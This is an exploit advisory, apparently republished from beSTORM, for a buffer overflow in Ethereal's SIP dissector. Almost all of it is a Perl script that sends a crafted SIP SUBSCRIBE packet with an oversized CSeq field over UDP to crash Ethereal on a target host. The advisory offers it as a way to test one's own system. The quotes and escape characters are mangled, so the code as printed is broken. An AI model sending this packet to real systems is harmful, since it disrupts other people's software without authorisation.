‘Ethereal SIP Dissector Overflow (Exploit)’

Summary

‘As we reported in our previous article: Ethereal SIP Dissector Overflow, a vulnerability in Ethereal’s SIP dissector allows attackers to cause Ethereal to crash by overflowing an internal buffer used by Ethereal when it tries to handle SIP related packets. The following exploit code can be used to test your system for the mentioned vulnerability.’

Credit:

‘The information has been provided by beSTORM.’


Details

Exploit:
#!/usr/bin/perl -w
# Exploit generated by beSTORM on 2005-05-08 17:49
# All Rights Reserved – Copyright ™

use IO::Socket;
use strict;

my $target = shift;
my $print_usage = 0;
my $repeated_type = ‘A’;

if (!$target)
{
 usage();

 print ‘No target has been supplied, reverting to 192.168.1.52.n’;
 $target = ‘192.168.1.52’;
}

my $repeating = shift;
if (!$repeating )
{
 usage();

 $repeating = 1000;
 print ‘Repeating has not been supplied, reverting to $repeating.n’;
}

my $attackerip = shift;
if (!$attackerip)
{
 usage();

 print ‘Attacker IP address has not been supplied, reverting to 192.168.1.49.n’;
 $attackerip = ‘192.168.1.49’;
}

my $attackedip = shift;
if (!$attackedip)
{
 usage();
 
 print ‘Contact IP address has not been supplied, reverting to 192.168.1.3.n’;
 $attackedip = ‘192.168.1.3’;
}

print ‘Will attack $target.n’;
print ‘Attacker IP address defined as: $attackeripn’;
print ‘Attacked IP address defined as: $attackedipn’;
print ‘Will repeat ‘$repeated_type’ $repeating timesn’;

my $repeated_data = ($repeated_type x $repeating);
my $target_port = 5060;

my $packet =<<END;
SUBSCRIBE sip:username:password@$attackerip SIP/2.0r
To: <sip:$attackedip:$target_port>r
Via: SIP/2.0/UDP $attackedip:3277r
From: ‘STORM'<sip:$attackedip:3277>r
Call-ID: 3121$attackedipr
CSeq: $repeated_datar
Max-Forwards: 70r
Contact: <sip:$attackerip:5059>r
r
END

print ‘Sending: [$packet]n’;

socket(PING, PF_INET, SOCK_DGRAM, getprotobyname(‘udp’));

my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);

send(PING, $packet, 0, $sendto) == length($packet) or die ‘cannot send to $target : $target_port : $!n’;

print ‘Done.n’;

sub usage
{
 if ($print_usage) { return; }
 $print_usage = 1;
 print (‘#’x50);
 print ‘n’;
 print ‘# $0 [hostname] [repeater] [attackerip] [attackedip]n’;
 print ‘# hostnamet-tThe host the packet will be sent to.n’;
 print ‘# repeatert-tThe number of times the character will be sent (repeated character $repeated_type).n’;
 print ‘# attackeript-tThe IP address from which the packet should ben’;
 print ‘tttaddressed from (doesn’t have to be your IP address).n’;
 print ‘# attackedipt-tThe IP address that you are contactingn’;
 print ‘ttt(doesn’t have to be the hostname IP’s address).n’;
 print ‘n’;
 print ‘Results may vary depending on how the remote host handles packets.n’;
 print ‘For example:n’;
 print ‘ * Some SIP Proxies won’t look into packets addressed to it (attackedip or attackerip).n’;
 print ‘ * Some SIP Routers won’t handle packets that aren’t addressed to it.n’;
 print ‘etcn’;
 print ‘n’;
}’

Categories: Exploits